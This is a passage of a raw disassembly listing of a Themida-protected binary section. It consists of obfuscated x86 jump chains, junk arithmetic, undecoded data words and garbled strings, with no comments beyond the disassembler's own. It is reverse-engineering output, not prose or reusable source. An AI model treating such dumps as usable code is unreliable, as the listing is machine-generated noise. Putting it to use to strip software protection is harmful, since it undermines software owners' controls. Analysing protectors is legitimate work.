28802CEAh, 0B55166E8h dd 4C8CE980h, 0F8280000h, 4EC81h, 14890000h, 0FE76B624h dd 493E68C6h, 0C890000h, 9BB45024h, 88C5F480h, 0A32AE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569606: ; CODE XREF: Themida_:00564533j push 4D654627h jmp loc_5766D3 ; --------------------------------------------------------------------------- dd 5C241C33h, 0AC02E9h, 0E9F68100h, 296E0567h, 5A895EF3h dd 241C8B30h, 0FFCE74E9h, 89F681FFh, 0E94DA5EAh, 0FFFFEA10h dd 8758C301h, 248B241Ch, 0A0C38124h, 10AAD40h, 0A0EB81C3h dd 520AAD40h, 0D77DB0BAh, 5AD32935h, 0E3E9008Fh, 0B9FFFF79h dd 4, 34FFCE01h, 0C4815924h, 4, 80ACE9h db 0 ; --------------------------------------------------------------------------- loc_569675: ; CODE XREF: Themida_:00572686j not esi inc esi xor esi, 2AA458FAh add esi, 7CA3680Fh sub ebx, esi pop esi jmp loc_5717D8 ; --------------------------------------------------------------------------- loc_56968C: ; CODE XREF: Themida_:005669C8j xor edi, 6142C160h add edx, edi jmp loc_569805 ; --------------------------------------------------------------------------- loc_569699: ; CODE XREF: Themida_:00569C70j push ecx push 7B5F5C94h jmp loc_5694BA ; --------------------------------------------------------------------------- dd 4C381h, 1C870000h, 5230E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5696B2: ; CODE XREF: Themida_:0056E8DDj mov [esp], edx push 1065h jmp loc_56351F ; --------------------------------------------------------------------------- aAiraiHie db '€ë€ëÄh©E',0 align 2 dw 0C89h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_566D0A ; --------------------------------------------------------------------------- db 0E9h, 60h, 79h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5696E2: ; CODE XREF: Themida_:0056ED47j push 4348h mov [esp], esi push ebx jmp loc_562D7C ; --------------------------------------------------------------------------- dd 0B5240C89h, 0ABEE80B2h, 0C680EE00h, 300459ABh, 302CF028h dd 9340E9h, 4EC8100h, 89000000h, 1E9240Ch, 0FF00005Ah dd 0FF042474h, 348B2434h, 4C48324h, 0E904C483h, 3C90h dd 240C8B66h, 120F68h, 241C8900h, 16E368h, 48F5400h, 4EC8324h dd 0FFFBA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_569749: ; CODE XREF: Themida_:0056FFD2j add ebx, esi jmp loc_562989 ; --------------------------------------------------------------------------- loc_569750: ; CODE XREF: Themida_:005677F6j pop esi jmp loc_5673DD ; --------------------------------------------------------------------------- dw 5F66h dd 0FFF66EE9h, 240489FFh, 802BDBB8h, 17306859h, 0F8E90000h dd 810000AAh, 4C4h, 5EF30100h, 9D12E9h, 87EB8100h, 0E9348075h dd 0FFFFED1Ah, 5C240C87h, 1FF768h, 243C8900h, 0E52F0D68h dd 2434FF6Ah, 4C4835Fh, 0E952DFF7h, 0FFFFF7E6h, 0E9242C33h dd 0BA5Bh, 0E9240C8Bh, 0A923h, 0C8BCB01h, 4C48124h, 51000000h dd 366118B9h, 0BCC98126h, 41024977h, 0E903E1C1h, 5251h dd 0E0616866h, 240C8B66h, 1EA6E9h, 4EC8100h, 89000000h dd 0E589242Ch, 4853E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5697F6: ; CODE XREF: Themida_:0057097Cj shr eax, 3 add eax, 0E88EBA9Fh sub ebx, eax jmp loc_562DA4 ; --------------------------------------------------------------------------- loc_569805: ; CODE XREF: Themida_:00569694j mov edi, [esp] add esp, 4 and eax, edx push dword ptr [esp] jmp loc_56A6E3 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Ah, 0C3E5E9h, 5BD80100h, 205h, 10E95000h dd 80FFFFC2h, 9FE959EBh db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56983B: ; CODE XREF: Themida_:005765B1j mov eax, edi pop edi shl eax, 2 push ebx mov ebx, 3D3C6A61h sub eax, ebx pop ebx or eax, 196A2B36h inc eax xor eax, 0E2D1D81Dh add ebx, eax mov eax, [esp] add esp, 4 push ecx mov ecx, 37D72628h jmp loc_575D67 ; --------------------------------------------------------------------------- loc_569868: ; CODE XREF: Themida_:0056C8DCj xor edx, 1BB1E01h sub eax, edx pop edx jmp loc_56E770 ; --------------------------------------------------------------------------- loc_569876: ; CODE XREF: Themida_:0056B3B1j mov esi, 75F8470Ch sub ebx, esi pop esi sub ebx, edx push 5793h mov [esp], eax mov eax, 75F8470Ch jmp loc_5642BA ; --------------------------------------------------------------------------- loc_569892: ; CODE XREF: Themida_:005660BAj sub ebx, 6C9A7924h add ebx, esi add ebx, 6C9A7924h add ebx, 91F3E76h mov esi, [esp] add esp, 4 push edx mov edx, 4 jmp loc_563F2F ; --------------------------------------------------------------------------- loc_5698B7: ; CODE XREF: Themida_:0056B3E9j push esi mov esi, 1ED1254Ah or esi, 1F445575h and esi, 3C347F5h shl esi, 8 and esi, 45E10671h jmp loc_566A55 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 0C89BE953h, 3C68FFFFh, 0E9000026h dd 0FFFFE566h, 0A5E9DFF7h, 50000056h, 710475B8h, 58C68905h dd 0B0ADE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569906: ; CODE XREF: Themida_:0056DE6Aj add esp, 4 jmp loc_56D391 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 242C8B54h, 0FFCC8BE9h, 24048BFFh, 8304C483h, 0C5E901C0h dd 0FF0000B6h, 0B9E92434h, 89000062h, 81B5240Ch, 0F659E888h dd 2CED04D0h, 29E951B7h, 2C000081h, 4F8007Ah, 7735E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569952: ; CODE XREF: Themida_:0056740Bj push 22101B66h push dword ptr [esp] pop ecx add esp, 4 and ecx, 7DA71021h push ebp mov ebp, 23FA279Ch jmp loc_564373 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835E24h, 0ABD5504h, 83491355h, 0E5C101C5h, 51ED8107h dd 813CD92Bh, 4343D0F5h, 0FBF58143h, 0E90F9219h, 7ABFh dd 4EA81h, 14870000h, 0F0D7E924h, 8F66FFFFh, 8FE98704h dd 8BFFFF76h, 0C481241Ch, 4, 80E6F180h, 0C9FE45C1h, 0E980C1FEh dd 59CE88F0h, 0E6C0D6F6h, 4EB75302h, 1C8BFE20h, 4C48324h dd 71E9C6FEh, 81000047h, 12404h, 148B0000h, 4C48124h, 81000000h dd 916220EAh, 23F6E902h, 0F1010000h, 0FF7885E9h, 0C68159FFh dd 72BC642Fh, 0EE81C601h, 72BC642Fh, 8324048Bh, 685304C4h dd 4295288Fh, 81241C8Bh, 4C4h, 75C38100h, 1BD6AD7h, 0E9565BDEh dd 0FFFF8DDEh, 5144CE80h, 0C180DFB1h, 59CE0063h, 0FFF63AE9h dd 5FF889FFh, 207368h, 240C8900h, 82E9C189h, 1FFFFDCh dd 0B9515DEBh, 0E173767h, 8B59CB01h, 0C4832404h, 14716804h dd 23E90000h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569A77: ; CODE XREF: Themida_:0056548Ej push 37AF7453h pop ebp or ebp, 1BE873EEh push edi mov edi, 34261640h push ebp mov ebp, 7D4360EAh inc ebp and ebp, 0A622FD5h inc ebp add ebp, 22BE2428h shl ebp, 6 sub ebp, 7FCF173Ch sub edi, ebp pop ebp shr edi, 6 xor edi, 0D2B2734Eh jmp loc_5732F5 ; --------------------------------------------------------------------------- loc_569AB7: ; CODE XREF: Themida_:0056DE31j shr ebx, 6 jmp loc_574E10 ; --------------------------------------------------------------------------- db 5Eh dd 68240C8Bh, 4C13h, 89242C89h, 4B951E5h, 1000000h, 685059CDh dd 4, 58C50158h, 2474FF55h, 48F5D04h, 24248B24h, 4EC81h dd 1C890000h, 4BB24h, 0D9010000h, 2C1835Bh, 0E9240C33h dd 0FFFFF1B9h, 33241C31h, 248B241Ch, 243CD324h, 7528E99Ch dd 77FFFFFFh, 7520E940h, 1C33FFFFh, 88645C24h, 0A688E902h dd 3C29FFFFh, 0CF815F24h, 6A7A7D11h, 0FDB9EF81h, 0C381FE7Ah dd 340B41FCh, 0BA52FB01h, 340B41FCh, 21FBA52h, 0D32932A5h dd 81D3295Ah, 0A5021FC3h, 815F5A32h, 2C3h, 241C3300h, 0E9241C31h dd 0FFFFFFB2h, 81FFC583h, 0B5725EC5h, 0C1DDF730h, 895306E5h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2434895Ch, 0FFB6A7E9h dd 0D0F75FFFh, 39C33540h, 89350B64h, 0E962EE6Bh, 1DC1h dd 10F6EB81h, 348B689Ch, 4C48124h, 0E9000000h, 0FFFF7482h ; --------------------------------------------------------------------------- loc_569BC0: ; CODE XREF: Themida_:00566088j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56E7C8 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0C8704E9h, 9A23E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569BE2: ; CODE XREF: Themida_:00575EAAj pop ebx and ecx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56F777 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0ADh dd 0C14CF55Ch, 0F9E905E5h, 290000C3h db 0F0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56202E ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 88h dd 89000002h, 78EBE9E1h, 0E95CFFFFh, 8B67h ; --------------------------------------------------------------------------- loc_569C30: ; CODE XREF: Themida_:0056F82Cj or eax, 147A44A0h push esi jmp loc_564F54 ; --------------------------------------------------------------------------- db 66h dd 66CCB60Fh, 6620D068h, 0E9240C89h, 0FFFF79C3h ; --------------------------------------------------------------------------- loc_569C4C: ; CODE XREF: Themida_:00568400j push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push 207h mov [esp], ebx jmp loc_569699 ; --------------------------------------------------------------------------- align 2 dw 80CFh dd 8059B0C7h, 0D7F601EFh, 2EC8152h, 0E9000000h, 0FFFFEDE8h dd 0C530162Ch, 8324048Bh, 0EA3004C4h, 2DB2E9h db 0 ; --------------------------------------------------------------------------- loc_569C9D: ; CODE XREF: Themida_:005755B2j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push eax mov eax, 3DC5000Bh neg eax xor eax, 14AF56C9h sub eax, 0D4F64E16h shl eax, 5 or eax, 0DC07B57h push 2B09h mov [esp], eax dec dword ptr [esp] jmp loc_5667A9 ; --------------------------------------------------------------------------- loc_569CD0: ; CODE XREF: Themida_:0056B17Bj mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp and ecx, esi mov esi, [esp] jmp loc_566E46 ; --------------------------------------------------------------------------- dw 0E94Fh dd 1A20h ; --------------------------------------------------------------------------- loc_569CEC: ; CODE XREF: Themida_:005667A4j add ecx, edx pop edx and eax, ecx jmp loc_56AE6D ; --------------------------------------------------------------------------- aHk_ db '[hK.',0 align 4 dd 0E9240C89h, 0FFFFFF1Fh, 4C481h, 68680000h, 89000037h dd 0E3E92434h, 0F7000065h, 0DDE92414h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569D1F: ; CODE XREF: Themida_:0056CBF3j dec ebx not ebx inc ebx sub ebx, 636F9D94h mov edx, ebx pop ebx add [esp+8], edx pop edx pop ebp jmp loc_563BB8 ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h, 6B71BD24h dd 8E93F7Fh, 5E0000C3h, 8B240C87h, 8B662424h, 0E9572404h dd 0CB50h, 8B57E980h, 0C4812414h, 4, 88CE8852h, 0E9595AF7h dd 0FFFFF7A4h ; --------------------------------------------------------------------------- loc_569D80: ; CODE XREF: Themida_:005732F0j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx mov ebx, 2CA20ED4h or edx, ebx pop ebx sub edx, 3AD95222h sub esp, 4 mov [esp], eax mov eax, 7A4025D6h neg eax push 4E36h mov [esp], edi mov edi, 5A172EB9h or edi, 73E4184Ch xor edi, 6FEA1F2Fh add edi, 292FF3D1h add edi, 1 push edi not dword ptr [esp] pop edi shr edi, 4 jmp loc_57284F ; --------------------------------------------------------------------------- aBUJS_ db 'Ãu;Jêé.Ë',0 db 0 ; --------------------------------------------------------------------------- loc_569DEB: ; CODE XREF: Themida_:0056D42Dj mov eax, [esp] add esp, 4 dec ecx jmp loc_567E7F ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 1076E9h db 0 ; --------------------------------------------------------------------------- loc_569E05: ; CODE XREF: Themida_:005636CDj mov [esp], ebp push 6582h mov [esp], ecx push ebp push 32AC23B0h mov ebp, [esp] jmp loc_561F89 ; --------------------------------------------------------------------------- dw 47B9h dd 8171ED71h, 246F96C1h, 8E9C13Eh, 0E9D1F741h, 754Ch, 30D0BE56h dd 0F68159FDh, 0C186FD7h, 0C58FEE81h, 0F0293D95h, 0FFB9E3E9h dd 24348BFFh, 0FFAFC3E9h, 4BF57FFh, 57000000h, 30242C81h dd 58383D03h, 3D033005h, 8DE95F38h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569E6F: ; CODE XREF: Themida_:00574B15j mov edx, 427D1D35h sub edi, edx pop edx sub edi, 363360DFh xor edi, 0CCF955B5h jmp loc_56F555 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 4BB53h, 22E90000h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569E9B: ; CODE XREF: Themida_:0056EBA0j mov [esp], ebp mov ebp, 109E06DEh shr ebp, 4 jmp loc_56F2D0 ; --------------------------------------------------------------------------- db 56h dd 0C6815E54h, 4, 8704C683h, 15C2434h, 243C8BFAh, 4C481h dd 14330000h, 24143124h, 8B241433h, 34FF2424h, 2434FF24h dd 0E924048Bh, 0FFFFF23Fh ; --------------------------------------------------------------------------- loc_569EE0: ; CODE XREF: Themida_:005648C2j push 4 pop ebx jmp loc_575FC9 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 4EC8124h, 89000000h, 0BA522424h, 4, 4245401h dd 240C8B5Ah, 4C481h, 3B680000h, 89000050h, 82E92404h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_569F1B: ; CODE XREF: Themida_:00564EABj not ebp xor ebp, 79E9718Fh add ebp, 79AE32D5h add eax, ebp pop ebp push ebp mov ebp, 4 add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_576134 ; --------------------------------------------------------------------------- loc_569F43: ; CODE XREF: Themida_:00562AEDj push ebp push 69977C9Dh pop ebp not ebp or ebp, 75412AE6h jmp loc_56C9DE ; --------------------------------------------------------------------------- db 0FFh a4Sh db '4$]éhµ',0 align 10h dd 4C581h, 5680000h, 89000000h, 4B9240Ch, 1000000h, 2C8759CDh dd 24248B24h, 4C7A6852h, 0E9E90000h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569F87: ; CODE XREF: Themida_:0056EA77j add edx, 1CB210F2h pop ecx push edi mov edi, 404B6F53h sub edi, 404B6F4Fh add edx, edi pop edi jmp loc_562481 ; --------------------------------------------------------------------------- dd offset loc_418364+4 dw 0E900h dd 7924h, 4EC8151h, 89000000h, 97E92424h, 8B00008Ah, 9768241Ch dd 0E9000066h, 0FFFF7D44h ; --------------------------------------------------------------------------- loc_569FC8: ; CODE XREF: Themida_:0056F340j sub esp, 4 mov [esp], ecx mov ecx, 23480A40h sub ebx, ecx pop ecx pop edi push edx mov edx, 0 add edx, ebx mov ecx, [edx] jmp loc_56C674 ; --------------------------------------------------------------------------- loc_569FE9: ; CODE XREF: Themida_:00565307j pop eax push esi jmp loc_56F325 ; --------------------------------------------------------------------------- loc_569FF0: ; CODE XREF: Themida_:005650DEj pop esp jmp loc_56CF5D ; --------------------------------------------------------------------------- loc_569FF6: ; CODE XREF: Themida_:005653C6j xor edi, 68A13002h push eax push edi mov edi, 6F131A41h mov eax, edi pop edi not eax add eax, 9EE32A16h jmp loc_568316 ; --------------------------------------------------------------------------- dw 74B8h dd 0E9791D60h, 99A2h, 710568h, 240C8900h, 0FAFBCCB9h, 0C5EF81BFh dd 10C917Ch, 0C5C781CFh, 0E90C917Ch, 0C0CFh, 10E8C381h dd 0D989B429h, 1B18BF5Bh, 0C7811AE1h, 0FD33ABAh, 0EF81CF29h dd 0FD33ABAh, 81D7E9h, 0C1015F00h, 8904EC83h, 50512404h dd 0FFBFEAE9h, 78EABBFFh, 0D8010F88h, 0E9E8015Bh, 0FFFFF1D5h dd 5324048Fh, 0FFE12CE9h, 243C8BFFh, 6804C483h, 9D8h, 0BE243489h dd 4, 0BFE9F129h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A09F: ; CODE XREF: Themida_:005750A4j pop edi xchg ebp, [esp] mov esp, [esp] xor edi, 77EE17F1h jmp loc_5637BA ; --------------------------------------------------------------------------- loc_56A0B1: ; CODE XREF: Themida_:005681C9j add ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_566085 ; --------------------------------------------------------------------------- loc_56A0C1: ; CODE XREF: Themida_:00564DF2j mov edi, ebx mov ebx, [esp] add esp, 4 sub edx, 63EC232Eh add edx, edi add edx, 63EC232Eh pop edi pop ebx xchg edx, [esp] mov esp, [esp] jmp loc_56F7AC ; --------------------------------------------------------------------------- db 89h dd 0F9B82404h, 257F6A3Ah, 781F63C6h, 0C92E2B05h, 50EF350Dh dd 895585D3h, 4976E9C5h, 2C890000h, 3BBEE924h, 45680000h dd 89000070h, 0FF542434h, 3CE92434h, 83000042h, 68E904C4h dd 1FFFF9Eh, 3C8B5FFAh, 4C48124h, 0E9000000h, 61CCh, 5C243C87h dd 24048966h, 0B210E9h, 4C48100h, 53000000h, 349EE9h db 0 ; --------------------------------------------------------------------------- loc_56A151: ; CODE XREF: Themida_:00574C9Dj push ecx mov ecx, esp add ecx, 4 jmp loc_56E275 ; --------------------------------------------------------------------------- db 1 dd 643105F8h, 815F011Ah, 4ECh, 24048900h, 0FFAF15E9h, 0EAEB81FFh dd 0E9424A2Ah, 0A16Eh, 24048F5Eh, 7152E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A18A: ; CODE XREF: Themida_:0056F71Bj or eax, ecx pop ecx neg eax push ecx jmp loc_56E420 ; --------------------------------------------------------------------------- db 81h, 2 dup(0F5h) dd 812D1D43h, 3899B7C5h, 5DE82976h, 16E9D8F7h, 81FFFFF2h dd 6A7E2E9h, 6EE1E950h, 5168FFFFh, 5F3A3B3Dh, 7CC4C781h dd 53E96307h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A1C7: ; CODE XREF: Themida_:0057524Fj pop ebx sub al, 0C3h push dword ptr [esp] pop ebx push 1767h jmp loc_5758B8 ; --------------------------------------------------------------------------- loc_56A1D8: ; CODE XREF: Themida_:0056250Dj add edi, 652B05A5h sub eax, 70620F5h jmp loc_563D16 ; --------------------------------------------------------------------------- dd offset dword_4F1348+320h dd 24148900h, 0D849A7BAh, 1EA8178h, 0F7000000h, 5EF281DAh dd 818727B6h, 153E20C6h, 0C55EE958h, 0E181FFFFh, 41AD7756h dd 68535550h, 0E3F6C75h, 87C3815Bh, 89FE40BFh, 0B4B85BDDh dd 314E0373h, 0C1815DE8h, 2B179C9h, 1490E981h, 0C10179FDh dd 1490C181h, 2FE979FDh, 0B8FFFFEFh, 57F100D4h, 0B16B2135h dd 7F2D4856h, 1BB7902h, 33E958C2h, 1000077h, 0E2C281F2h dd 5E59925Ah, 8124048Bh, 4C4h, 8DE95500h, 0FF000067h, 669D1C77h dd 241CD259h, 9E20E99Ch, 0E95A0000h, 0FFFF94EAh ; --------------------------------------------------------------------------- loc_56A28C: ; CODE XREF: Themida_:005731D8j xchg ebx, [esp] pop esp push 4849h mov [esp], ebx jmp loc_562B89 ; --------------------------------------------------------------------------- db 81h, 0C1h, 2 dd 68000000h, 4D88h, 0FF240C89h, 59042474h, 0E924048Fh dd 962Eh, 0BD8EB81h, 0D3015F9Dh, 0BD8C381h, 148B5F9Dh dd 4C48324h, 68685156h, 5978BA1Bh, 0F49C981h, 50534FCCh dd 1E099B8h, 0C9A9E980h, 8B66FFFFh, 54512404h, 85E959h dd 0C9FE0000h, 8904EC83h, 486240Ch, 86C8FE24h, 68592404h dd 0 dd 4E242C80h, 80240C28h, 8A4E2404h, 0C483240Ch, 17F18004h dd 2859C380h, 0F50DE9CBh, 8B66FFFFh, 0EC83240Ch, 243C8904h dd 243C8B54h, 837EE9h, 48F6600h, 66566624h, 660002BEh dd 2247401h, 8F665E66h, 68662404h, 8966269Eh, 6866241Ch dd 0F8E90002h, 87000060h, 64F7E9D6h, 685A0000h, 0D52h dd 89240C89h, 40E957E1h, 810000B2h, 4C1h, 4E98300h, 0E9240C87h dd 0FFFFD70Dh ; --------------------------------------------------------------------------- loc_56A388: ; CODE XREF: Themida_:00562F08j mov ecx, 40EE0FE3h xor edx, ecx pop ecx jmp loc_5745C8 ; --------------------------------------------------------------------------- db 81h, 0F3h, 7Bh dd 8B67EA10h, 0C481242Ch, 4, 4EC8152h, 89000000h, 25B9240Ch dd 5150324Bh, 33240481h, 5A07480Eh, 0E33EA81h, 0F5E90748h dd 59000000h, 3537E9h db 0 ; --------------------------------------------------------------------------- loc_56A3CD: ; CODE XREF: Themida_:0057699Bj add esp, 4 add edi, 0A25DC6DCh push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_56D0BD ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 6824048Bh, 595Eh, 0FF9F3CE9h, 241C33FFh, 0C89665Ch dd 6C38E924h, 8195FFFFh, 4430DF5h, 0E9E90158h, 586Fh ; --------------------------------------------------------------------------- loc_56A418: ; CODE XREF: Themida_:00561ACEj sub eax, 0F7DF77F1h add ebx, eax jmp loc_56D97A ; --------------------------------------------------------------------------- dd 59CB015Dh, 10D7BE56h, 814E052Bh, 0C25130F6h, 0E8C6815Bh dd 87762B56h, 38A0E9EEh, 814F0000h, 7E5820F7h, 4EC8361h dd 0BB241C89h, 21276A0h, 2258E381h, 0E3C17FBDh, 70E94B08h dd 5BFFFFB1h, 6CF68059h, 0A3FE9h, 0D8295E00h, 2E060805h dd 0CDBF5716h, 0E959232Ah, 1230h, 8F04C483h, 248B2404h dd 0CA895224h, 241C8B52h, 0FF7139E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A495: ; CODE XREF: Themida_:00573287j xchg ebp, [esp] pop esp jmp loc_5761B0 ; --------------------------------------------------------------------------- dw 7AB9h dd 81570B09h, 1D22F5C1h, 0D5E9814Fh, 92B22C8h, 240C8BCBh dd 0E9E38953h, 8418h, 4EAC159h, 0FFEB23E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A4C5: ; CODE XREF: Themida_:0056F3F0j sub ecx, 10386358h sub ecx, 3F3A2F5Ah add eax, [ecx] push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], esi jmp loc_5654CF ; --------------------------------------------------------------------------- dd 8B2434FFh, 6E92404h, 830000BCh, 0C8904ECh, 0C127E924h dd 7405FFFFh, 503376D7h, 0D829585Bh, 4655055Bh, 0EC814D21h dd 4, 0E9242C89h, 0FFFFE4BAh, 71ABE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A51E: ; CODE XREF: Themida_:005745A3j mov [esp], ecx mov ecx, 4 add ebp, ecx mov ecx, [esp] jmp loc_565D4D ; --------------------------------------------------------------------------- loc_56A530: ; CODE XREF: Themida_:0056FA57j mov [esp], eax jmp loc_568A6B ; --------------------------------------------------------------------------- dd 895BDD31h, 0CB26E9E8h, 0EC80FFFFh, 21F480FEh, 5335B753h dd 1246C80h, 0F2E95BFFh, 0B7FFFFC6h, 0FFE700A4h, 0E9582434h dd 0FFFFBEF2h, 0CA80DAF6h, 0EEEA80A3h, 0F65AD400h, 54B551D4h dd 59C580h, 0D09BE9ECh, 0D029FFFFh, 155AE95Ah, 1C310000h dd 241C3324h, 6624248Bh, 0E9240C8Bh, 0FFFFF171h, 24048F5Bh dd 76B685Ch, 0ECE90000h, 5200000Eh, 8904EC83h, 6FBB241Ch dd 0E936AF2Ah, 0A3D3h, 15A3C381h, 0D3295412h, 15A3EB81h dd 34FF5412h, 9B34E924h, 1C890000h, 240C8724h, 0FFD801E9h dd 244481FFh, 5A293604h, 244C010Ah, 68565104h, 1B577E34h dd 6919E9h, 4DE98000h, 0E9A0E980h, 320Bh, 0C104E3C1h, 0EB8103EBh dd 4969A70Eh, 0FF84CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56A60D: ; CODE XREF: Themida_:00574FBAj pop edx add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1Ch sub ebx, 66BE3975h add ebx, edi push 11EDh mov [esp], edi push edx mov edx, 716635Bh mov edi, 13CB2B19h xor edi, 58F23824h sub edi, 0DD64766Dh add edi, 31666330h sub edi, edx sub edi, 31666330h jmp loc_573E7F ; --------------------------------------------------------------------------- db 29h dd 0DCE95EF5h, 28FFFFA1h, 666D2CC8h, 4CE95159h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A673: ; CODE XREF: Themida_:00561106j push edx jmp loc_5743EF ; --------------------------------------------------------------------------- db 2Ch, 15h, 28h dd 5A1504D0h, 0D828AE2Ch, 0AEB25266h, 0D0001604h, 0FF7B40E9h dd 243C89FFh, 4BFh, 4E1B6800h, 3C890000h, 4EC8124h, 89000000h dd 27B9240Ch, 0C116BE7Bh, 814904E1h, 399CBE9h, 244481FEh dd 0E2691904h, 244C2960h, 246C8104h, 0E2691904h, 18E95960h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A6D3: ; CODE XREF: Themida_:00570ABEj sub edi, 4 push 4140h mov [esp], edi jmp loc_574674 ; --------------------------------------------------------------------------- loc_56A6E3: ; CODE XREF: Themida_:00569813j pop edx add esp, 4 or eax, eax jz loc_56B636 push dword ptr [edi+1Ch] push esi mov esi, 1B320405h push ebx push edx mov edx, 10DB24B2h sub edx, 1 push ecx jmp loc_5628F6 ; --------------------------------------------------------------------------- loc_56A70B: ; CODE XREF: Themida_:005766DFj push ecx push edx push ecx mov ecx, 6EA56BF6h and ecx, 61BD70F7h shr ecx, 6 add ecx, 20F19299h mov edx, ecx jmp loc_561690 ; --------------------------------------------------------------------------- aSsi@ db 'SéI@',0 dw 8100h dd 4C6h, 0D4E1E900h, 0C328FFFFh, 0E9B5B252h, 0FFFF9885h dd 5A5B585Bh, 0E9590A88h, 0FFFF68F2h ; --------------------------------------------------------------------------- loc_56A750: ; CODE XREF: Themida_:00575158j push dword ptr [esp] jmp loc_575A04 ; --------------------------------------------------------------------------- dd 66E9FA89h, 8100002Bh, 4C4h, 243C3300h, 33243C31h, 248B243Ch dd 310AE924h, 0C5810000h, 707752F2h, 0FF89BDE9h, 4C481FFh dd 8F000000h, 248B2404h, 0AB0F6624h, 0E99C2404h, 0AAA7h dd 137AF381h, 0D9897018h, 32EB815Bh, 1166C40h, 5C5AE9CBh dd 0D3310000h, 83C4E95Ah, 0EC810000h, 4, 68241489h, 0A900BBA4h dd 992DE95Ah, 74FF0000h, 3C8B0424h, 0FFABE924h, 0E953FFFFh dd 1F5Fh, 0C5151705h, 24348B72h, 6804C483h, 7902h, 68241489h dd 7196h, 0E9240C89h, 1A32h ; --------------------------------------------------------------------------- loc_56A7FC: ; CODE XREF: Themida_:005610DBj pop ebp push ebp jmp loc_56CBE3 ; --------------------------------------------------------------------------- loc_56A803: ; CODE XREF: Themida_:0056BADBj push edx mov edx, 0EFE2771h shl edx, 8 jmp loc_56E69A ; --------------------------------------------------------------------------- loc_56A811: ; CODE XREF: Themida_:0056CF7Ej inc eax add eax, 248923C4h mov edi, eax pop eax push ebx mov ebx, 4E9039DCh jmp loc_575A1F ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSB db '$é*B',0 align 2 dw 5B04h dd 83240C8Bh, 0D80004C4h, 50E78957h, 2B0276B8h, 0BD2D4842h dd 407F1F4Eh, 3502E0C1h, 0C2ECEE0h, 0E6E9C701h, 1000054h dd 75CDE9EFh, 0C3810000h, 5B8548F1h, 0D25E9h, 66C30000h dd 0E5B25251h, 0E0B05066h, 5866C228h, 0F280CAFEh, 0B1516604h dd 66CA3024h, 81240C8Bh, 2C4h, 5AD18800h, 5966CB00h, 66C0B60Fh dd 6824148Bh, 33B2h, 81240489h, 4ECh, 8CF9E900h, 0C4830000h dd 240C8704h, 0D324248Bh, 0E99C240Ch, 0B13Fh, 8952C7FEh dd 4C281E2h, 81000000h, 2EAh, 24148700h, 1489665Ch, 0E9D0B224h dd 0BD44h, 8DC0B60Fh, 67688704h, 0E9000030h, 77C3h ; --------------------------------------------------------------------------- loc_56A8F0: ; CODE XREF: Themida_:00573962j pop esp mov [esp], esi push 4 mov esi, [esp] jmp loc_56C02B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4EC8353h, 81242489h, 42404h, 555B0000h, 1D58ABBDh, 7E5C115h dd 0FFFFC581h, 0F581FFFFh, 8EAC557Bh, 348DEB81h, 0C381490Fh dd 59F17956h, 0EB81EB01h, 59F17956h, 348DC381h, 0F9E9490Fh dd 5F0000AFh, 0B9E9D801h, 81000000h, 2C4h, 3EFC000h, 2120E9h dd 24048F00h, 6624248Bh, 5724148Bh, 243C8B54h, 81E68956h dd 4C6h, 0B1C4E900h db 2 dup(0FFh) 